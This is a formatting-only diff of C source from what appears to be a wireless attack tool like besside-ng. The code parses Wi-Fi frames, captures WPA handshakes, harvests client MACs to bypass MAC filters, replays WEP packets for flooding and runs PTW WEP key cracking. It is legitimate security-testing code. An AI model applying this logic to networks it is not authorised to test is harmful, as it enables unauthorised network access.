-		if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0)
-			psk++;
+		if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk = 1;
 
 		p += 4;
 	}
 
 	assert(l >= (p - start));
 
-	if (!psk)
-		n->n_crypto = CRYPTO_WPA_MGT;
+	if (!psk) n->n_crypto = CRYPTO_WPA_MGT;
 
 	return 0;
 }
 
-static int parse_elem_vendor(struct network *n, unsigned char *e, int l)
+static int parse_elem_vendor(struct network * n, unsigned char * e, int l)
 {
-	struct ieee80211_ie_wpa *wpa = (struct ieee80211_ie_wpa*) e;
+	struct ieee80211_ie_wpa * wpa = (struct ieee80211_ie_wpa *) e;
 
-	if (l < 5)
-		return 0;
+	if (l < 5) return 0;
 
-	if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0)
-		return 0;
+	if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return 0;
 
-	if (l < 8)
-		return 0;
+	if (l < 8) return 0;
 
-	if (wpa->wpa_type != WPA_OUI_TYPE)
-		return 0;
+	if (wpa->wpa_type != WPA_OUI_TYPE) return 0;
 
-	return parse_rsn(n, (unsigned char*) &wpa->wpa_version, l - 6, 0);
+	return parse_rsn(n, (unsigned char *) &wpa->wpa_version, l - 6, 0);
 }
 
-static void wifi_beacon(struct network *n, struct ieee80211_frame *wh,
-			int totlen)
+static void
+wifi_beacon(struct network * n, struct ieee80211_frame * wh, int totlen)
 {
-	unsigned char *p = (unsigned char*) (wh + 1);
+	unsigned char * p = (unsigned char *) (wh + 1);
 	int bhlen = 8 + 2 + 2;
 	int new = 0;
 	int len = totlen;
@@ -1789,79 +1742,77 @@
 
 	totlen -= sizeof(*wh);
 
-	if (totlen < bhlen)
-		goto __bad;
+	if (totlen < bhlen) goto __bad;
 
-        if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY))
-		return;
+	if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return;
 
-	if (!n->n_have_beacon)
-		new = 1;
+	if (!n->n_have_beacon) new = 1;
 
 	n->n_have_beacon = 1;
-	n->n_crypto	 = CRYPTO_WEP;
-	n->n_dbm	 = _state.s_ri->ri_power;
+	n->n_crypto = CRYPTO_WEP;
+	n->n_dbm = _state.s_ri->ri_power;
 
-	p      += bhlen;
+	p += bhlen;
 	totlen -= bhlen;
 
-	while (totlen > 2) {
+	while (totlen > 2)
+	{
 		int id = *p++;
-		int l  = *p++;
+		int l = *p++;
 
 		totlen -= 2;
 
-		if (totlen < l)
-			goto __bad;
+		if (totlen < l) goto __bad;
 
-		switch (id) {
-		case IEEE80211_ELEMID_SSID:
-			if (++ssids > 1)
-				break;
+		switch (id)
+		{
+			case IEEE80211_ELEMID_SSID:
+				if (++ssids > 1) break;
 
-			if (l == 0 || p[0] == 0)
-				hidden = 1;
-			else {
-				memcpy(n->n_ssid, p, l);
-				n->n_ssid[l] = 0;
-			}
-			break;
+				if (l == 0 || p[0] == 0)
+					hidden = 1;
+				else
+				{
+					memcpy(n->n_ssid, p, l);
+					n->n_ssid[l] = 0;
+				}
+				break;
 
-		case IEEE80211_ELEMID_DSPARMS:
-			n->n_chan = *p;
-			break;
+			case IEEE80211_ELEMID_DSPARMS:
+				n->n_chan = *p;
+				break;
 
-		case IEEE80211_ELEMID_VENDOR:
-			if (parse_elem_vendor(n, &p[-2], l + 2) == -1)
-				goto __bad;
-			break;
+			case IEEE80211_ELEMID_VENDOR:
+				if (parse_elem_vendor(n, &p[-2], l + 2) == -1) goto __bad;
+				break;
 
-		case IEEE80211_ELEMID_RSN:
-			if (parse_rsn(n, p, l, 1) == -1)
-				goto __bad;
-			break;
+			case IEEE80211_ELEMID_RSN:
+				if (parse_rsn(n, p, l, 1) == -1) goto __bad;
+				break;
 
-		default:
-//			printf("id %d len %d\n", id, l);
-			break;
+			default:
+				//			printf("id %d len %d\n", id, l);
+				break;
 		}
 
-		p      += l;
+		p += l;
 		totlen -= l;
 	}
 
-	if (new) {
+	if (new)
+	{
 		packet_copy(&n->n_beacon, wh, len);
 		found_new_network(n);
 
-		if (hidden && n->n_ssid[0])
-			found_ssid(n);
+		if (hidden && n->n_ssid[0]) found_ssid(n);
 
-		if (ssids > 1 && should_attack(n)) {
+		if (ssids > 1 && should_attack(n))
+		{
 			time_printf(V_NORMAL,
-			    	    "WARNING: unsupported multiple SSIDs"
-			    	    " for network %s [%s]\n",
-				    mac2str(n->n_bssid), n->n_ssid);
+						"WARNING: unsupported multiple SSIDs"
+						" for network %s [%s]\n",
+						mac2str(n->n_bssid),
+						n->n_ssid);
 		}
 	}
 
@@ -1870,43 +1821,43 @@
 	printf("\nBad beacon\n");
 }
 
-static int for_us(struct ieee80211_frame *wh)
+static int for_us(struct ieee80211_frame * wh)
 {
 	return memcmp(wh->i_addr1, _state.s_mac, sizeof(wh->i_addr1)) == 0;
 }
 
-static void has_mac_filter(struct network *n)
+static void has_mac_filter(struct network * n)
 {
 	time_printf(V_VERBOSE, "MAC address filter on %s\n", n->n_ssid);
 	n->n_mac_filter = 1;
 }
 
-static void wifi_auth(struct network *n, struct ieee80211_frame *wh,
-		      int len)
+static void wifi_auth(struct network * n, struct ieee80211_frame * wh, int len)
 {
-	uint16_t *p = (uint16_t*) (wh + 1);
+	uint16_t * p = (uint16_t *) (wh + 1);
 	int rc;
 
-	if (len < (int) (sizeof(*wh) + 2 + 2 + 2))
-		goto __bad;
+	if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad;
 
 	rc = le16toh(p[2]);
 
-	if (for_us(wh) && rc != 0) {
-		if (!n->n_mac_filter)
-			has_mac_filter(n);
+	if (for_us(wh) && rc != 0)
+	{
+		if (!n->n_mac_filter) has_mac_filter(n);
 	}
 
-	if (for_us(wh) && n->n_astate == ASTATE_PING) {
+	if (for_us(wh) && n->n_astate == ASTATE_PING)
+	{
 		ping_reply(n, wh);
 		return;
 	}
 
-	if (for_us(wh) && n->n_wstate == ASTATE_NONE && need_connect(n)) {
-		if (le16toh(p[0]) != 0 || le16toh(p[1]) != 2)
-			return;
+	if (for_us(wh) && n->n_wstate == ASTATE_NONE && need_connect(n))
+	{
+		if (le16toh(p[0]) != 0 || le16toh(p[1]) != 2) return;
 
-		if (le16toh(p[2]) == 0) {
+		if (le16toh(p[2]) == 0)
+		{
 			n->n_wstate = WSTATE_AUTH;
 			time_printf(V_VERBOSE, "Authenticated\n");
 			network_connect(n);
@@ -1918,40 +1869,42 @@
 	printf("Bad auth\n");
 }
 
-static void found_mac(struct network *n)
+static void found_mac(struct network * n)
 {
-	if (!n->n_mac_filter || n->n_got_mac)
-		return;
+	if (!n->n_mac_filter || n->n_got_mac) return;
 
 	assert(n->n_client_mac);
 
-	time_printf(V_NORMAL, "Found MAC %s for %s\n",
-		    mac2str(n->n_client_mac->c_mac),
-		    n->n_ssid);
+	time_printf(V_NORMAL,
+				"Found MAC %s for %s\n",
+				mac2str(n->n_client_mac->c_mac),
+				n->n_ssid);
 
 	n->n_got_mac = 1;
 }
 
-static void wifi_assoc_resp(struct network *n, struct ieee80211_frame *wh,
-		            int len)
+static void
+wifi_assoc_resp(struct network * n, struct ieee80211_frame * wh, int len)
 {
-	uint16_t *p = (uint16_t*) (wh + 1);
+	uint16_t * p = (uint16_t *) (wh + 1);
 
-	if (len < (int) (sizeof(*wh) + 2 + 2 + 2))
-		goto __bad;
+	if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad;
 
-	if (for_us(wh) && n->n_wstate == WSTATE_AUTH) {
-		if (le16toh(p[1]) == 0) {
+	if (for_us(wh) && n->n_wstate == WSTATE_AUTH)
+	{
+		if (le16toh(p[1]) == 0)
+		{
 			int aid = le16toh(p[2]) & 0x3FFF;
 
 			n->n_wstate = WSTATE_ASSOC;
-			time_printf(V_NORMAL, "Associated to %s AID [%d]\n",
-				    n->n_ssid, aid);
+			time_printf(
+				V_NORMAL, "Associated to %s AID [%d]\n", n->n_ssid, aid);
 
 			found_mac(n);
 
 			attack_continue(n);
-		} else
+		}
+		else
 			time_printf(V_NORMAL, "Assoc died %d\n", le16toh(p[1]));
 	}
 
@@ -1960,35 +1913,31 @@
 	printf("Bad assoc resp\n");
 }
 
-static void grab_hidden_ssid(struct network *n, struct ieee80211_frame *wh,
-			     int len, int off)
+static void grab_hidden_ssid(struct network * n,
+							 struct ieee80211_frame * wh,
+							 int len,
+							 int off)
 {
-	unsigned char *p = ((unsigned char *)(wh + 1)) + off;
+	unsigned char * p = ((unsigned char *) (wh + 1)) + off;
 	int l;
 
-	if (n->n_ssid[0])
-		return;
+	if (n->n_ssid[0]) return;
 
 	len -= sizeof(*wh) + off + 2;
 
-	if (len < 0)
-		goto __bad;
+	if (len < 0) goto __bad;
 
-	if (*p++ != IEEE80211_ELEMID_SSID)
-		goto __bad;
+	if (*p++ != IEEE80211_ELEMID_SSID) goto __bad;
 
 	l = *p++;
-	if (l > len)
-		goto __bad;
+	if (l > len) goto __bad;
 
-	if (l == 0)
-		return;
+	if (l == 0) return;
 
 	memcpy(n->n_ssid, p, l);
 	n->n_ssid[l] = 0;
 
-	if (!n->n_have_beacon)
-		return;
+	if (!n->n_have_beacon) return;
 
 	found_ssid(n);
 	return;
@@ -1997,68 +1946,71 @@
 	return;
 }
 
-static void wifi_mgt(struct network *n, struct ieee80211_frame *wh, int len)
+static void wifi_mgt(struct network * n, struct ieee80211_frame * wh, int len)
 {
-	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
-	case IEEE80211_FC0_SUBTYPE_BEACON:
-		wifi_beacon(n, wh, len);
+	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+	{
+		case IEEE80211_FC0_SUBTYPE_BEACON:
+			wifi_beacon(n, wh, len);
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_AUTH:
-		wifi_auth(n, wh, len);
-		break;
+		case IEEE80211_FC0_SUBTYPE_AUTH:
+			wifi_auth(n, wh, len);
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
-		wifi_assoc_resp(n, wh, len);
-		break;
+		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
+			wifi_assoc_resp(n, wh, len);
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_DEAUTH:
-		if (for_us(wh) && need_connect(n)) {
-			time_printf(V_VERBOSE, "Got deauth for %s\n",
-				    n->n_ssid);
-			n->n_wstate = WSTATE_NONE;
-			network_connect(n);
-		}
-		break;
+		case IEEE80211_FC0_SUBTYPE_DEAUTH:
+			if (for_us(wh) && need_connect(n))
+			{
+				time_printf(V_VERBOSE, "Got deauth for %s\n", n->n_ssid);
+				n->n_wstate = WSTATE_NONE;
+				network_connect(n);
+			}
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
-		grab_hidden_ssid(n, wh, len, 2 + 2);
-		break;
+		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
+			grab_hidden_ssid(n, wh, len, 2 + 2);
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
-		grab_hidden_ssid(n, wh, len, 2 + 2 + 6);
-		break;
+		case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
+			grab_hidden_ssid(n, wh, len, 2 + 2 + 6);
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
-		grab_hidden_ssid(n, wh, len, 8 + 2 + 2);
-		break;
+		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
+			grab_hidden_ssid(n, wh, len, 8 + 2 + 2);
+			break;
 
-	default:
-		if (for_us(wh)) {
-			printf("UNHANDLED MGMT %d\n",
-		               (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
-			       >> IEEE80211_FC0_SUBTYPE_SHIFT);
-		}
-		break;
+		default:
+			if (for_us(wh))
+			{
+				printf("UNHANDLED MGMT %d\n",
+					   (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+						   >> IEEE80211_FC0_SUBTYPE_SHIFT);
+			}
+			break;
 	}
 }
 
-static void wifi_ctl(struct ieee80211_frame *wh, int len)
+static void wifi_ctl(struct ieee80211_frame * wh, int len)
 {
-//	printf("ctl\n");
+	//	printf("ctl\n");
 
-	if (wh && len) {}
+	if (wh && len)
+	{
+	}
 }
 
-static unsigned char *get_client_mac(struct ieee80211_frame *wh)
+static unsigned char * get_client_mac(struct ieee80211_frame * wh)
 {
-	unsigned char *bssid = get_bssid(wh);
+	unsigned char * bssid = get_bssid(wh);
 	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
 
-	if (type == IEEE80211_FC0_TYPE_CTL)
-		return NULL;
+	if (type == IEEE80211_FC0_TYPE_CTL) return NULL;
 
-	if (!bssid)
-		return wh->i_addr2;
+	if (!bssid) return wh->i_addr2;
 
 	if (bssid == wh->i_addr1)
 		return wh->i_addr2;
@@ -2066,17 +2018,17 @@
 		return wh->i_addr1;
 }
 
-static struct client *client_get(struct network *n, struct ieee80211_frame *wh)
+static struct client * client_get(struct network * n,
+								  struct ieee80211_frame * wh)
 {
-	struct client *c = n->n_clients.c_next;
-	unsigned char *cmac = get_client_mac(wh);
+	struct client * c = n->n_clients.c_next;
+	unsigned char * cmac = get_client_mac(wh);
 
-	if (!cmac)
-		return NULL;
+	if (!cmac) return NULL;
 
-	while (c) {
-		if (memcmp(c->c_mac, cmac, 6) == 0)
-			return c;
+	while (c)
+	{
+		if (memcmp(c->c_mac, cmac, 6) == 0) return c;
 
 		c = c->c_next;
 	}
@@ -2084,55 +2036,52 @@
 	return NULL;
 }
 
-static struct client *client_update(struct network *n,
-				    struct ieee80211_frame *wh)
+static struct client * client_update(struct network * n,
+									 struct ieee80211_frame * wh)
 {
-	unsigned char *cmac = get_client_mac(wh);
-	struct client *c;
+	unsigned char * cmac = get_client_mac(wh);
+	struct client * c;
 	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
 
-	if (!cmac)
-		return NULL;
+	if (!cmac) return NULL;
 
 	/* let's not pwn ourselves */
-	if (memcmp(cmac, _state.s_mac, sizeof(_state.s_mac)) == 0)
-		return NULL;
+	if (memcmp(cmac, _state.s_mac, sizeof(_state.s_mac)) == 0) return NULL;
 
-	if (cmac == wh->i_addr1) {
-		if (memcmp(cmac, BROADCAST, 6) == 0)
-			return NULL;
+	if (cmac == wh->i_addr1)
+	{
+		if (memcmp(cmac, BROADCAST, 6) == 0) return NULL;
 
 		/* multicast */
-		if (memcmp(cmac, "\x01\x00\x5e", 3) == 0)
-			return NULL;
+		if (memcmp(cmac, "\x01\x00\x5e", 3) == 0) return NULL;
 
 		/* ipv6 multicast */
-		if (memcmp(cmac, "\x33\x33", 2) == 0)
-			return NULL;
+		if (memcmp(cmac, "\x33\x33", 2) == 0) return NULL;
 
 		/* MAC PAUSE */
-		if (memcmp(cmac, "\x01\x80\xC2", 3) == 0)
-			return NULL;
+		if (memcmp(cmac, "\x01\x80\xC2", 3) == 0) return NULL;
 
 		/* fuck it */
-		if (cmac[0] == 0x01)
-			return NULL;
+		if (cmac[0] == 0x01) return NULL;
 	}
 
 	/* here we can choose how conservative to be */
-	if (type == IEEE80211_FC0_TYPE_MGT) {
-		switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
-		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
-			break;
+	if (type == IEEE80211_FC0_TYPE_MGT)
+	{
+		switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+		{
+			case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
+				break;
 
-		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
-		default:
-			return NULL;
+			case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
+			default:
+				return NULL;
 		}
 	}
 
 	c = client_get(n, wh);
-	if (!c) {
+	if (!c)
+	{
 		c = xmalloc(sizeof(*c));
 
 		memset(c, 0, sizeof(*c));
@@ -2141,134 +2090,132 @@
 		c->c_next = n->n_clients.c_next;
 		n->n_clients.c_next = c;
 
-		if (n->n_have_beacon &&
-		    (n->n_crypto == CRYPTO_WPA || n->n_crypto == CRYPTO_WEP))
+		if (n->n_have_beacon
+			&& (n->n_crypto == CRYPTO_WPA || n->n_crypto == CRYPTO_WEP))
 			found_new_client(n, c);
 	}
 
 	return c;
 }
 
-static int eapol_handshake_step(unsigned char *eapol, int len)
+static int eapol_handshake_step(unsigned char * eapol, int len)
 {
 	int eapol_size = 4 + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16 + 2;
 
-	if (len < eapol_size)
-		return 0;
+	if (len < eapol_size) return 0;
 
 	/* not pairwise */
-	if ((eapol[6] & 0x08) == 0)
-		return 0;
+	if ((eapol[6] & 0x08) == 0) return 0;
 
 	/* 1: has no mic */
-	if ((eapol[5] & 1) == 0)
-		return 1;
+	if ((eapol[5] & 1) == 0) return 1;
 
 	/* 3: has ack */
-	if ((eapol[6] & 0x80) != 0)
-		return 3;
+	if ((eapol[6] & 0x80) != 0) return 3;
 
-	if (*((uint16_t*) &eapol[eapol_size - 2]) == 0)
-		return 4;
+	if (*((uint16_t *) &eapol[eapol_size - 2]) == 0) return 4;
 
 	return 2;
 }
 
-static void process_eapol(struct network *n, struct client *c, unsigned char *p,
-			  int len, struct ieee80211_frame *wh, int totlen)
+static void process_eapol(struct network * n,
+						  struct client * c,
+						  unsigned char * p,
+						  int len,
+						  struct ieee80211_frame * wh,
+						  int totlen)
 {
 	int num, i;
 
-	if (n->n_client_handshake)
-		return;
+	if (n->n_client_handshake) return;
 
 	num = eapol_handshake_step(p, len);
-	if (num == 0)
-		return;
+	if (num == 0) return;
 
 	/* reset... should use time, too.  XXX conservative - check retry */
-	if (c->c_wpa == 0 || num <= c->c_wpa) {
-		for (i = 0; i < 4; i++)
-			c->c_handshake[i].p_len = 0;
+	if (c->c_wpa == 0 || num <= c->c_wpa)
+	{
+		for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0;
 
 		c->c_wpa_got = 0;
 	}
 
 	c->c_wpa = num;
 
-	switch (num) {
-	case 1:
-		c->c_wpa_got |= 1;
-		break;
+	switch (num)
+	{
+		case 1:
+			c->c_wpa_got |= 1;
+			break;
 
-	case 2:
-		c->c_wpa_got |= 2;
-		c->c_wpa_got |= 4;
-		break;
+		case 2:
+			c->c_wpa_got |= 2;
+			c->c_wpa_got |= 4;
+			break;
 
-	case 3:
-		if (memcmp(&p[17], ZERO, 32) != 0)
-			c->c_wpa_got |= 1;
+		case 3:
+			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1;
 
-		c->c_wpa_got |= 4;
-		break;
+			c->c_wpa_got |= 4;
+			break;
 
-	case 4:
-		if (memcmp(&p[17], ZERO, 32) != 0)
-			c->c_wpa_got |= 2;
+		case 4:
+			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2;
 
-		c->c_wpa_got |= 4;
-		break;
+			c->c_wpa_got |= 4;
+			break;
 
-	default:
-		abort();
+		default:
+			abort();
 	}
 
 	packet_copy(&c->c_handshake[num - 1], wh, totlen);
 
 	time_printf(V_VERBOSE,
-		    "Got WPA handshake step %d (have %d) for %s\n",
-		    num, c->c_wpa_got, n->n_ssid);
+				"Got WPA handshake step %d (have %d) for %s\n",
+				num,
+				c->c_wpa_got,
+				n->n_ssid);
 
-	if (c->c_wpa_got == 7) {
+	if (c->c_wpa_got == 7)
+	{
 		n->n_client_handshake = c;
 
-		time_printf(V_NORMAL,
-			    "Got necessary WPA handshake info for %s\n",
-			    n->n_ssid);
+		time_printf(
+			V_NORMAL, "Got necessary WPA handshake info for %s\n", n->n_ssid);
 
 		n->n_client_mac = c;
 		found_mac(n);
 
-		if (n->n_ssid[0]) {
+		if (n->n_ssid[0])
+		{
 			n->n_astate = ASTATE_WPA_CRACK;
 			attack_continue(n);
 		}
 	}
 }
 
-static int is_replayable(struct ieee80211_frame *wh, int len)
+static int is_replayable(struct ieee80211_frame * wh, int len)
 {
-        unsigned char clear[2048];
-        int dlen = len - 4 - 4;
-        int clearsize;
-        int weight[16];
+	unsigned char clear[2048];
+	int dlen = len - 4 - 4;
+	int clearsize;
+	int weight[16];
 
-        known_clear(clear, &clearsize, weight, (void*) wh, dlen);
-        if (clearsize < 16)
-                return 0;
+	known_clear(clear, &clearsize, weight, (void *) wh, dlen);
+	if (clearsize < 16) return 0;
 
 	return 1;
 }
 
-static void get_replayable(struct network *n, struct ieee80211_frame *wh,
-			   unsigned char *body, int len)
+static void get_replayable(struct network * n,
+						   struct ieee80211_frame * wh,
+						   unsigned char * body,
+						   int len)
 {
-	if (!is_replayable(wh, len))
-		return;
+	if (!is_replayable(wh, len)) return;
 
-	if (n->n_replay_len)
-		return;
+	if (n->n_replay_len) return;
 
 	n->n_replay_got = 0;
 
@@ -2277,7 +2224,7 @@
 	memcpy(&n->n_replay[sizeof(*wh)], body, len);
 	n->n_replay_len = len + sizeof(*wh);
 
-	wh = (struct ieee80211_frame*) n->n_replay;
+	wh = (struct ieee80211_frame *) n->n_replay;
 	fill_basic(n, wh);
 	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
 	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr3));
@@ -2286,30 +2233,28 @@
 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
 	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
 
-	time_printf(V_NORMAL, "Got replayable packet for %s [len %d]\n",
-		    n->n_ssid, len - 4 - 4);
+	time_printf(V_NORMAL,
+				"Got replayable packet for %s [len %d]\n",
+				n->n_ssid,
+				len - 4 - 4);
 
-	if (_state.s_state == STATE_ATTACK
-	    && _state.s_curnet == n
-	    && n->n_astate == ASTATE_WEP_PRGA_GET)
+	if (_state.s_state == STATE_ATTACK && _state.s_curnet == n
+		&& n->n_astate == ASTATE_WEP_PRGA_GET)
 		attack_continue(n);
 }
 
-static void check_replay(struct network *n, struct ieee80211_frame *wh, int len)
+static void
+check_replay(struct network * n, struct ieee80211_frame * wh, int len)
 {
-	if (_state.s_state != STATE_ATTACK
-	    || _state.s_curnet != n
-	    || n->n_astate != ASTATE_WEP_FLOOD)
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_astate != ASTATE_WEP_FLOOD)
 		return;
 
-	if (!(wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS))
-		return;
+	if (!(wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS)) return;
 
-	if (memcmp(wh->i_addr3, _state.s_mac, sizeof(wh->i_addr3)) != 0)
-		return;
+	if (memcmp(wh->i_addr3, _state.s_mac, sizeof(wh->i_addr3)) != 0) return;
 
-	if (len != (int) (n->n_replay_len - sizeof(*wh)))
-		return;
+	if (len != (int) (n->n_replay_len - sizeof(*wh))) return;
 
 	n->n_replay_got++;
 	memcpy(&n->n_replay_last, &_state.s_now, sizeof(n->n_replay_last));
@@ -2318,53 +2263,53 @@
 	do_flood(n);
 }
 
-static void do_wep_crack(struct cracker *c, struct network *n, int len,
-			 int limit)
+static void
+do_wep_crack(struct cracker * c, struct network * n, int len, int limit)
 {
 	ssize_t unused;
 
-        unsigned char key[PTW_KEYHSBYTES];
-        int (*all)[256];
-        int i, j;
+	unsigned char key[PTW_KEYHSBYTES];
+	int(*all)[256];
+	int i, j;
 
-        all = xmalloc(256 * 32 * sizeof(int));
+	all = xmalloc(256 * 32 * sizeof(int));
 
-        //initial setup (complete keyspace)
-        for (i = 0; i < 32; i++) {
-            for (j = 0; j < 256; j++)
-                all[i][j] = 1;
-        }
+	// initial setup (complete keyspace)
+	for (i = 0; i < 32; i++)
+	{
+		for (j = 0; j < 256; j++) all[i][j] = 1;
+	}
 
-        if (PTW_computeKey(n->n_ptw, key, len, limit, PTW_DEFAULTBF, all, 0)
-	    != 1)
+	if (PTW_computeKey(n->n_ptw, key, len, limit, PTW_DEFAULTBF, all, 0) != 1)
 		return;
 
 	unused = write(c->cr_pipe[1], key, len);
 }
 
-static void crack_wep64(struct cracker *c, struct network *n)
+static void crack_wep64(struct cracker * c, struct network * n)
 {
 	do_wep_crack(c, n, 5, KEYLIMIT / 10);
 }
 
-static void crack_wep128(struct cracker *c, struct network *n)
+static void crack_wep128(struct cracker * c, struct network * n)
 {
 	do_wep_crack(c, n, 13, KEYLIMIT);
 }
 
-static void cracker_start(struct cracker *c, cracker_cb cb, struct network *n)
+static void cracker_start(struct cracker * c, cracker_cb cb, struct network * n)
 {
-	if (pipe(c->cr_pipe) == -1)
-		err(1, "pipe()");
+	if (pipe(c->cr_pipe) == -1) err(1, "pipe()");
 
 	c->cr_pid = fork();
-	if (c->cr_pid == -1)
-		err(1, "fork()");
+	if (c->cr_pid == -1) err(1, "fork()");
 
-	if (c->cr_pid) {
+	if (c->cr_pid)
+	{
 		/* parent */
 		close(c->cr_pipe[1]);
-	} else {
+	}
+	else
+	{
 		/* child */
 		close(c->cr_pipe[0]);
 		cb(c, n);
@@ -2372,7 +2317,7 @@
 	}
 }
 
-static void wep_crack_start(struct network *n)
+static void wep_crack_start(struct network * n)
 {
 	cracker_kill(&n->n_cracker_wep[0]);
 	cracker_kill(&n->n_cracker_wep[1]);
@@ -2381,11 +2326,11 @@
 	cracker_start(&n->n_cracker_wep[1], crack_wep128, n);
 }
 
-static void wep_crack(struct network *n)
+static void wep_crack(struct network * n)
 {
-	if (_state.s_state != STATE_ATTACK
-	    || _state.s_curnet != n
-	    || n->n_astate != ASTATE_WEP_FLOOD) {
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_astate != ASTATE_WEP_FLOOD)
+	{
 		n->n_crack_next = n->n_data_count + 1;
 		return;
 	}
@@ -2395,57 +2340,59 @@
 	n->n_crack_next += _conf.cf_crack_int;
 }
 
-static int ptw_add(struct network *n, struct ieee80211_frame *wh,
-		   unsigned char *body, int len)
+static int ptw_add(struct network * n,
+				   struct ieee80211_frame * wh,
+				   unsigned char * body,
+				   int len)
 {
-        unsigned char clear[2048];
-        int dlen = len - 4 - 4;
-        int clearsize;
-        int i, weight[16], k, j;
+	unsigned char clear[2048];
+	int dlen = len - 4 - 4;
+	int clearsize;
+	int i, weight[16], k, j;
 	int rc = 0;
 
-        k = known_clear(clear, &clearsize, weight, (void*) wh, dlen);
-        if (clearsize < 16)
-                return rc;
+	k = known_clear(clear, &clearsize, weight, (void *) wh, dlen);
+	if (clearsize < 16) return rc;
 
-        for (j = 0; j < k; j++) {
-            for (i = 0; i < clearsize; i++)
-                    clear[i + (32 * j)] ^= body[4 + i];
-        }
+	for (j = 0; j < k; j++)
+	{
+		for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
+	}
 
-	if (!n->n_ptw) {
+	if (!n->n_ptw)
+	{
 		n->n_ptw = PTW_newattackstate();
-		if (!n->n_ptw)
-			err(1, "PTW_newattackstate()");
+		if (!n->n_ptw) err(1, "PTW_newattackstate()");
 	}
 
-        if (PTW_addsession(n->n_ptw, body, clear, weight, k)) {
+	if (PTW_addsession(n->n_ptw, body, clear, weight, k))
+	{
 		speed_add(&n->n_flood_in);
 		n->n_data_count++;
 		rc = 1;
 	}
 
-	if (n->n_data_count == n->n_crack_next)
-		wep_crack(n);
+	if (n->n_data_count == n->n_crack_next) wep_crack(n);
 
 	return rc;
 }
 
-static void ptw_free(struct network *n)
+static void ptw_free(struct network * n)
 {
-	if (n->n_ptw) {
+	if (n->n_ptw)
+	{
 		PTW_freeattackstate(n->n_ptw);
 		n->n_ptw = NULL;
 	}
 }
 
-static void wifi_data(struct network *n, struct ieee80211_frame *wh, int len)
+static void wifi_data(struct network * n, struct ieee80211_frame * wh, int len)
 {
-	unsigned char *p = (unsigned char*) (wh + 1);
-        struct llc* llc;
+	unsigned char * p = (unsigned char *) (wh + 1);
+	struct llc * llc;
 	int wep = wh->i_fc[1] & IEEE80211_FC1_WEP;
 	int eapol = 0;
-	struct client *c;
+	struct client * c;
 	int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
 	int orig = len;
 
@@ -2453,58 +2400,60 @@
 
 	len -= sizeof(*wh);
 
-	if (stype == IEEE80211_FC0_SUBTYPE_QOS) {
-		p   += 2;
+	if (stype == IEEE80211_FC0_SUBTYPE_QOS)
+	{
+		p += 2;
 		len -= 2;
 	}
 
-	if (!wep && len >= 8) {
-		llc = (struct llc*) p;
+	if (!wep && len >= 8)
+	{
+		llc = (struct llc *) p;
 
 		eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0;
 
-		p   += 8;
+		p += 8;
 		len -= 8;
 	}
 
-	if (!wep && !eapol)
-		return;
+	if (!wep && !eapol) return;
 
-	if (!n->n_have_beacon) {
-		n->n_chan   = _state.s_chan;
+	if (!n->n_have_beacon)
+	{
+		n->n_chan = _state.s_chan;
 		n->n_crypto = eapol ? CRYPTO_WPA : CRYPTO_WEP;
 
 		/* XXX */
-		if (n->n_crypto == CRYPTO_WEP && p[3] != 0)
-			n->n_crypto = CRYPTO_WPA;
+		if (n->n_crypto == CRYPTO_WEP && p[3] != 0) n->n_crypto = CRYPTO_WPA;
 	}
 
-	if (eapol) {
+	if (eapol)
+	{
 		c = client_get(n, wh);
 
 		/* c can be null if using our MAC (e.g., VAPs) */
-		if (c)
-			process_eapol(n, c, p, len, wh, orig);
+		if (c) process_eapol(n, c, p, len, wh, orig);
 		return;
 	}
 
-	if (n->n_crypto != CRYPTO_WEP) {
